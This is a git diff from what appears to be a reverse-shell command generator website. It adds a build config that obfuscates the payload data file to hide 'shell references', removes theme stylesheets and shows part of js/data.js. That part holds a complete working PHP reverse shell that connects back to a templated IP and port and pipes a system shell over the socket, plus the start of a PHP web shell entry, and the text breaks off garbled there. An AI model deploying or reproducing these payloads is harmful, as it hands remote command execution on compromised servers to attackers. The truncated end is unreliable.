diff --git a/.gitignore b/.gitignore index 228b9c2..2cf16df 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,5 @@ .netlify/ +.parcel-cache/ +dist/ +node_modules/ +package-lock.json diff --git a/.parcelrc b/.parcelrc new file mode 100644 index 0000000..a972512 --- /dev/null +++ b/.parcelrc @@ -0,0 +1,14 @@ +{ + "extends": "@parcel/config-default", + "transformers": { + // Leave jQuery/Bootstrap assets as-is, as they're already minified + "*jquery-3.5.1.slim.min.js": [], + "*bootstrap-4.5.2.min.js": [], + + // Additionally 'obfuscate' files which may contain shell references + "*data.js": [ + "...", + "parcel-transformer-obfuscation" + ] + } +} diff --git a/css/dark-mode.min.css b/css/dark-mode.min.css deleted file mode 100644 index 1cdb6d7..0000000 --- a/css/dark-mode.min.css +++ /dev/null @@ -1 +0,0 @@ -.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#426992;font-weight:bold;font-size:1em}.highlighted-warning{color:red;font-weight:bold}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none !important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75)}#reverse-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,0.75);background-color:#464646;max-height:20rem}#theme-selector{width:100px;height:30px;font-size:13px;margin-top:5px}.custom-select{background-color:#646464;color:white}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,0.75);height:100% !important}h2{color:white;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item.active,.list-group-item-action:focus,.list-group-item-action:hover{background-color:#375a7f}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}.download-svg{height:20px;width:20px;filter:invert(100%) sepia(0) saturate(7497%) hue-rotate(347deg) brightness(103%) contrast(99%)}.download-svg:hover{filter:invert(100%) sepia(0) saturate(7497%) hue-rotate(347deg) brightness(50%) contrast(99%)}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}@media(max-width:500px){.github-corner:hover .octo-arm{animation:none}.github-corner .octo-arm{animation:octocat-wave 560ms ease-in-out}} \ No newline at end of file diff --git a/css/light-mode.min.css b/css/light-mode.min.css deleted file mode 100644 index f789cf6..0000000 --- a/css/light-mode.min.css +++ /dev/null @@ -1 +0,0 @@ -[data-theme="light"]{background-color:#f6f6f6 !important}[data-theme="light"] .card{background-color:white !important;color:#000}[data-theme="light"] .bg-white{background-color:#ddd7d7 !important}[data-theme="light"] .bg-dark{background-color:#ecefff !important}[data-theme="light"] .rainbow{color:#000}[data-theme="light"] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme="light"] .input-group-text{background-color:#c0c8f1;color:#000}[data-theme="light"] .btn{background-color:#1e63b8;color:#fff;border:0}[data-theme="light"] .highlighted-parameter{color:#7223b5;font-weight:bold;font-size:1em}[data-theme="light"] .highlighted-warning{color:red;font-weight:bold}[data-theme="light"] .custom-switch label{cursor:pointer;user-select:none}[data-theme="light"] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme="light"] #listener-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000}[data-theme="light"] #reverse-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="light"] #bind-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="light"] #msfvenom-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(209,209,209,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="light"] .custom-select{background-color:#f2f2f2;color:#000;border-color:#e4e3e2}[data-theme="light"] .nav-link{color:#000;background:transparent;box-shadow:5px 5px 5px 0 rgba(209,209,209,0.75);border:0}[data-theme="light"] .nav-link:hover{background-color:#c0c8f1}[data-theme="light"] .nav-link.active{background-color:#1e63b8;color:#fff}[data-theme="light"] .custom-control-input:checked{color:#000}[data-theme="light"] a{background-color:#f1c6ce;color:#000}[data-theme="light"] .list-group-item{background-color:#ecefff;color:#000;border-color:#AAA}[data-theme="light"] .list-group-item.active{background-color:#586edd;border-color:#444}[data-theme="light"] .list-group-item:hover{background-color:#c0c8f1}[data-theme="light"] .list-group-item.hover{background-color:#c0c8f1}[data-theme="light"] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 5px rgba(209,209,209,0.75);height:100% !important}[data-theme="light"] .card-title{color:#000 !important}[data-theme="light"] .custom-control-label{color:black}[data-theme="light"] h2{color:white;text-align:center}[data-theme="light"] .pre-wrap{white-space:pre-wrap}[data-theme="light"] .card-body{max-height:40rem}[data-theme="light"] .download-svg{filter:none}[data-theme="light"] .download-svg:hover{filter:opacity(50%)}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)} \ No newline at end of file diff --git a/css/meme-mode.min.css b/css/meme-mode.min.css deleted file mode 100644 index e97cfc3..0000000 --- a/css/meme-mode.min.css +++ /dev/null @@ -1 +0,0 @@ -[data-theme="meme"]{background-color:pink !important}[data-theme="meme"] .card{background-color:#af8bad !important;color:#000}[data-theme="meme"] .bg-white{background-color:#ddd7d7 !important}[data-theme="meme"] .bg-dark{background-color:#e7d4e0 !important}[data-theme="meme"] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme="meme"] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme="meme"] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme="meme"] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme="meme"] .highlighted-parameter{color:#7223b5;font-weight:bold;font-size:1em}[data-theme="meme"] .highlighted-warning{color:red;font-weight:bold}[data-theme="meme"] .custom-switch label{cursor:pointer;user-select:none}[data-theme="meme"] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme="meme"] #listener-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000}[data-theme="meme"] #reverse-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="meme"] #bind-shell-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="meme"] #msfvenom-command{border:none !important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,0.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme="meme"] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme="meme"] .nav-link{color:#000;background:transparent;box-shadow:5px 5px 5px 0 rgba(153,28,143,0.75)}[data-theme="meme"] .nav-link:hover{background-color:#7223b5}[data-theme="meme"] .nav-link.active{background-color:#a56096;color:#000}[data-theme="meme"] .custom-control-input:checked{color:#000}[data-theme="meme"] a{background-color:#f1c6ce;color:#000}[data-theme="meme"] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme="meme"] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme="meme"] .list-group-item:hover{background-color:#a56096}[data-theme="meme"] .list-group-item.hover{background-color:rgba(153,28,143,0.75)}[data-theme="meme"] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,0.75);height:100% !important}[data-theme="meme"] .card-title{color:#000 !important}[data-theme="meme"] .custom-control-label{color:black}[data-theme="meme"] h2{color:white;text-align:center}[data-theme="meme"] .pre-wrap{white-space:pre-wrap}[data-theme="meme"] .card-body{max-height:40rem}[data-theme="meme"] .download-svg:hover{filter:opacity(70%)}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:CadetBlue}40%{color:yellow}50%{color:coral}60%{color:green}70%{color:cyan}80%{color:DeepPink}90%{color:DodgerBlue}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:CadetBlue}40%{color:yellow}50%{color:coral}60%{color:green}70%{color:cyan}80%{color:DeepPink}90%{color:DodgerBlue}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:CadetBlue}40%{color:yellow}50%{color:coral}60%{color:green}70%{color:cyan}80%{color:DeepPink}90%{color:DodgerBlue}100%{color:orange}} \ No newline at end of file diff --git a/index.html b/index.html index 97c8e0e..c9316fd 100644 --- a/index.html +++ b/index.html @@ -10,9 +10,9 @@ - - - + + + @@ -31,7 +31,7 @@ content="https://user-images.githubusercontent.com/58673953/111243529-9d646f80-85d7-11eb-986c-9842747dc2e7.png"> - + Show Advanced - + @@ -339,7 +339,7 @@
- +
@@ -392,7 +392,7 @@
- +
diff --git a/js/data.js b/js/data.js index 69a16e3..918a571 100644 --- a/js/data.js +++ b/js/data.js @@ -129,7 +129,7 @@ const reverseShellCommands = withCommandType( "name": "PHP Ivan Sincek", "command": " array(\'pipe\', \'r\'), // shell can read from STDIN\n 1 => array(\'pipe\', \'w\'), // shell can write to STDOUT\n 2 => array(\'pipe\', \'w\') // shell can write to STDERR\n );\n private $buffer = 1024; // read/write buffer size\n private $clen = 0; // command length\n private $error = false; // stream read/write error\n public function __construct($addr, $port) {\n $this->addr = $addr;\n $this->port = $port;\n }\n private function detect() {\n $detected = true;\n if (stripos(PHP_OS, \'LINUX\') !== false) { // same for macOS\n $this->os = \'LINUX\';\n $this->shell = \'{shell}\';\n } else if (stripos(PHP_OS, \'WIN32\') !== false || stripos(PHP_OS, \'WINNT\') !== false || stripos(PHP_OS, \'WINDOWS\') !== false) {\n $this->os = \'WINDOWS\';\n $this->shell = \'cmd.exe\';\n } else {\n $detected = false;\n echo \"SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n\";\n }\n return $detected;\n }\n private function daemonize() {\n $exit = false;\n if (!function_exists(\'pcntl_fork\')) {\n echo \"DAEMONIZE: pcntl_fork() does not exists, moving on...\\n\";\n } else if (($pid = @pcntl_fork()) < 0) {\n echo \"DAEMONIZE: Cannot fork off the parent process, moving on...\\n\";\n } else if ($pid > 0) {\n $exit = true;\n echo \"DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n\";\n } else if (posix_setsid() < 0) {\n // once daemonized you will actually no longer see the script\'s dump\n echo \"DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n\";\n } else {\n echo \"DAEMONIZE: Completed successfully!\\n\";\n }\n return $exit;\n }\n private function settings() {\n @error_reporting(0);\n @set_time_limit(0); // do not impose the script execution time limit\n @umask(0); // set the file/directory permissions - 666 for files and 777 for directories\n }\n private function dump($data) {\n $data = str_replace(\'<\', \'<\', $data);\n $data = str_replace(\'>\', \'>\', $data);\n echo $data;\n }\n private function read($stream, $name, $buffer) {\n if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream\n $this->error = true; // set global error flag\n echo \"STRM_ERROR: Cannot read from ${name}, script will now exit...\\n\";\n }\n return $data;\n }\n private function write($stream, $name, $data) {\n if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream\n $this->error = true; // set global error flag\n echo \"STRM_ERROR: Cannot write to ${name}, script will now exit...\\n\";\n }\n return $bytes;\n }\n // read/write method for non-blocking streams\n private function rw($input, $output, $iname, $oname) {\n while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {\n if ($this->os === \'WINDOWS\' && $oname === \'STDIN\') { $this->clen += strlen($data); } // calculate the command length\n $this->dump($data); // script\'s dump\n }\n }\n // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)\n // we must read the exact byte length from a stream and not a single byte more\n private function brw($input, $output, $iname, $oname) {\n $fstat = fstat($input);\n $size = $fstat[\'size\'];\n if ($this->os === \'WINDOWS\' && $iname === \'STDOUT\' && $this->clen) {\n // for some reason Windows OS pipes STDIN into STDOUT\n // we do not like that\n // we need to discard the data from the stream\n while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {\n $this->clen -= $bytes;\n $size -= $bytes;\n }\n }\n while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {\n $size -= $bytes;\n $this->dump($data); // script\'s dump\n }\n }\n public function run() {\n if ($this->detect() && !$this->daemonize()) {\n $this->settings();\n\n // ----- SOCKET BEGIN -----\n $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);\n if (!$socket) {\n echo \"SOC_ERROR: {$errno}: {$errstr}\\n\";\n } else {\n stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns \'true\' on Windows OS\n\n // ----- SHELL BEGIN -----\n $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);\n if (!$process) {\n echo \"PROC_ERROR: Cannot start the shell\\n\";\n } else {\n foreach ($pipes as $pipe) {\n stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns \'false\' on Windows OS\n }\n\n // ----- WORK BEGIN -----\n $status = proc_get_status($process);\n @fwrite($socket, \"SOCKET: Shell has connected! PID: \" . $status[\'pid\'] . \"\\n\");\n do {\n\t\t\t\t\t\t$status = proc_get_status($process);\n if (feof($socket)) { // check for end-of-file on SOCKET\n echo \"SOC_ERROR: Shell connection has been terminated\\n\"; break;\n } else if (feof($pipes[1]) || !$status[\'running\']) { // check for end-of-file on STDOUT or if process is still running\n echo \"PROC_ERROR: Shell process has been terminated\\n\"; break; // feof() does not work with blocking streams\n } // use proc_get_status() instead\n $streams = array(\n \'read\' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR\n \'write\' => null,\n \'except\' => null\n );\n $num_changed_streams = @stream_select($streams[\'read\'], $streams[\'write\'], $streams[\'except\'], 0); // wait for stream changes | will not wait on Windows OS\n if ($num_changed_streams === false) {\n echo \"STRM_ERROR: stream_select() failed\\n\"; break;\n } else if ($num_changed_streams > 0) {\n if ($this->os === \'LINUX\') {\n if (in_array($socket , $streams[\'read\'])) { $this->rw($socket , $pipes[0], \'SOCKET\', \'STDIN\' ); } // read from SOCKET and write to STDIN\n if (in_array($pipes[2], $streams[\'read\'])) { $this->rw($pipes[2], $socket , \'STDERR\', \'SOCKET\'); } // read from STDERR and write to SOCKET\n if (in_array($pipes[1], $streams[\'read\'])) { $this->rw($pipes[1], $socket , \'STDOUT\', \'SOCKET\'); } // read from STDOUT and write to SOCKET\n } else if ($this->os === \'WINDOWS\') {\n // order is important\n if (in_array($socket, $streams[\'read\'])/*------*/) { $this->rw ($socket , $pipes[0], \'SOCKET\', \'STDIN\' ); } // read from SOCKET and write to STDIN\n if (($fstat = fstat($pipes[2])) && $fstat[\'size\']) { $this->brw($pipes[2], $socket , \'STDERR\', \'SOCKET\'); } // read from STDERR and write to SOCKET\n if (($fstat = fstat($pipes[1])) && $fstat[\'size\']) { $this->brw($pipes[1], $socket , \'STDOUT\', \'SOCKET\'); } // read from STDOUT and write to SOCKET\n }\n }\n } while (!$this->error);\n // ------ WORK END ------\n\n foreach ($pipes as $pipe) {\n fclose($pipe);\n }\n proc_close($process);\n }\n // ------ SHELL END ------\n\n fclose($socket);\n }\n // ------ SOCKET END ------\n\n }\n }\n}\necho \'
\';\n// change the host address and/or port number as necessary\n$sh = new Shell(\'{ip}\', {port});\n$sh->run();\nunset($sh);\n// garbage collector requires PHP v5.3.0 or greater\n// @gc_collect_cycles();\necho \'
\';\n?>", "meta": ["linux", "windows", "mac"] - }, + }, { "name": "PHP cmd", "command": "\n\n
\">\n\n\n<\/form>\n
\n\n<\/pre>\n<\/body>\n